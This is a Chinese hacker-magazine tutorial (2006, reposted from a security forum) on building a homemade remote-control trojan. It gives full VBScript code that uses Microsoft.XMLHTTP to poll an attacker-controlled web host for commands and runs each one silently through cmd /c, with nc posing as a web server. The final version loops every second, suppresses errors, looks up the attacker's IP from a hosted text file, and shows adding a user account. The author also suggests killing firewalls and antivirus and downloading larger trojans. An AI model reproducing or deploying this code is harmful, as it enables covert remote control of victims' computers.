用XMLHttp和nc打造个性小马
文章作者:千寂孤城
信息来源:邪恶八进制信息安全团队
注:本文已发表在2006年1月的《黑客X档案》杂志上,版权归其所有。转载请保留版权字样
在这么一个良驹满天飞的年代,养马养久了会产生了一种自己造个小马的冲动。今天闲来无事,于是我用Microsoft.XMLHTTP控件+NC打造了一只简易木马。本文叙述了我造马的探索过程,很菜的。
先说一下Microsoft.XMLHTTP控件。它是为支持XML而设计的对象,通过http协议访问网络,给网站发送http请求,可以是POST也可以是GET,也就是说相当于一个浏览器(正因为如此Microsoft.XMLHTTP也经常被用来写跨站漏洞利用程序和SQL注入程序)。该控件自windows98以来就一直是系统默认自带的控件,并且被系统认为是安全的!所以可以从一定程度上穿越防火墙。我的思路就是服务端利用Microsoft.XMLHTTP来从客户端获取要执行的命令,而客户端利用NC来伪装成web服务器提供数据给服务端的Microsoft.XMLHTTP。
一、服务端
要调用Microsoft.XMLHTTP的方法很多,由于是探索阶段,为了方便代码修改,我们用VBS脚本来实现。服务端ok.vbs的代码如下: 'On Error Resume Next 容错语句,出了错别打小报告
Set Http=CreateObject("Microsoft.XMLHTTP")
Set Shell=CreateObject("Wscript.Shell")
'Do
Http.Open "Get","http://127.0.0.1",False '这里本来是填客户端的ip,由于只是探索阶段,填了127.0.0.1。
Http.Send
a=Http.ResponseText '获得数据,这将作为要执行命令字符串
Wscript.Echo a '看看获得的是什么数据。这一句是调试用的,最后会删掉。
Shell.Run "cmd /c "&a,0 '这里是执行命令
'Wscript.Sleep 1000 每秒钟循环一次
'Loop
'由于是探索阶段,容错语句和循环语句暂时注释掉
很简单吧?就是说向客户端发送请求,然后获得反馈信息,而这个反馈信息就是要执行的命令。这个过程每隔一秒重复一次。看起来很简陋吧?其实还是有点用处的,毕竟是自己写的。也可以用来充当先行兵:先杀掉防火墙和杀毒软件再配合ftp命令传送文件,运行大型木马。方正是搞着玩的。
多说一句,看到那个Http.ResponseText了吗?有很多人不知道有这个东西,只会用Http.ResponseBody获得信息(这样获得的数据是二进制的),然后又写个BinToStr函数来把数据转换成字符串,其实用Http.ResponseText就可以直接得到字符串型的数据。
二、客户端
如果你想用你的网页空间来控制对方的话,那就用不着NC了。比如我的空间是http://cdsb.xinwen365.com/,那就写个a.txt放到空间里去,a.txt的内容是:net user qjgc abcd /add。然后把服务端ok.vbs里的客户端地址“http://127.0.0.1”改成"http://cdsb.xinwen365.com/a.txt"就可以了,运行ok.vbs试一试,看看调试结果,弹出个对话框来,显示:net user qjgc abcd /add。
成功得到了要执行的命令,查一查用户也确实多了个qjgc。这里要注意,命令文件一定要是txt文件,不要htm,因为空间商为了做广告,通常会使你通过浏览器看到的网页的原代码和你上传的文件源代码不一样,我第一次就是用http://cdsb.xinwen365.com/a.htm测试的,但得到的数据是:<script src=http://www.xinwen365.com/48472394k4r.asp></script>net user qjgc abcd /add。多出来的那个<script……></script>就是可恶的空间商硬加进去的广告。
我是个喜欢没事找事的人(千寂孤城的不良嗜好,不要学习),所以我一开始就想的是要把自己的机子伪装成一台web服务器,让客户端和服务端直接通讯。我的基本思路是用NC军刀监听本机80端口,欺骗Microsoft.XMLHTTP控件。有兴趣的接着跟我来,没兴趣的可以打住了。
我们先来做个实验,在浏览器中输入本机地址:127.0.0.1,显示该页无法访问。再来试试执行ok.vbs(里面客户端地址是http://127.0.0.1),结果报错说找不到指定的资源。接着我们监听本机80端口。在cmd下执行nc -l -p 80,然后重新在浏览器中输入127.0.0.1,不再说该页无法显示了,但是进度条跑到中间就停住了,半天都挪不动。在cmd看到nc打开的80端口已经成功地和浏览器建立连接了:
F:\cmds>nc -l -p 80
GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel,
application/msword, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Host: 127.0.0.1
Connection: Keep-Alive
同样,我们再用ok.vbs测试,通过cmd里可以看出也确实建立了连接,但是调试语句迟迟不执行。
种种现象显示连接是确确实实建立好了,监听80端口伪造WEB服务器是可行的,只是ok.vbs和浏览器被挂起了。它们得不到数据是因为nc挂的是空档,本来就没数据。于是写个test.txt,然后执行nc -l -p 80<test.txt,把test.txt绑在80端口。test.txt里的内容如下:
HTTP/1.1 200 OK
Content-Length: 23
net user qjgc abcd /add
text里的内容不能直接写:net user qjgc abcd /add,那样浏览器或XMLHTTP都不买帐。前两句“头信息”是必须的,(其实头信息不只这么两句,这是我精简后的最少头信息)其中“Content-Length:23”中的23指的是数据“net user qjgc abcd /add”的长度,不能写错。
呵呵,好了,客户端就算搞定了。
三、改进
鉴于客户端很可能是adsl的浮动ip,现在不是流行用域名来更新客户端的ip吗?我们也可以做到。转向域名就用http://cdsb.xinwen365.com/ip.txt。我们在http://cdsb.xinwen365.com/ip.txt里写上本机ip,然后用ok.vbs来访问http://cdsb.xinwen365.com/ip.txt从而得到客户端ip。修改ok.vbs代码如下: On Error Resume Next
Set Http=CreateObject("Microsoft.XMLHTTP")
Set Shell=CreateObject("Wscript.Shell")
Do
Http.Open "Get","http://cdsb.xinwen365.com/ip.txt",False
Http.Send
ip=Http.ResponseText
Http.Open "Get","http://"&ip,False
Http.Send
a=Http.ResponseText
Shell.Run "cmd /c "&a,0
Wscript.Sleep 1000
Loop
有趣吧?我都觉得我太没事找事了。
四、衍生物
通过做木马客户端的那个思路,是不是很想自己做个临时的网页来让好友们看看呀?但是如果我们老用nc的话是不够的,因为nc毕竟有很多弊端,比如只能一对一的建立连接,连接断开后nc的连接状态无法改变导致浏览器只能访问一次网页等等,所以我用VB写了个挂网页的程序,用法很简单,把你想要的网页代码输入文本框里,按Start按扭。然后就可以叫你的好友们来浏览了。
还有意思吧。用这个来做客户端是很方便的。
[file=http://www.eviloctal.com/forum/job.php?action=download&pid=tpc&tid=18985&aid=4513]附件:挂静态网页机[/ile]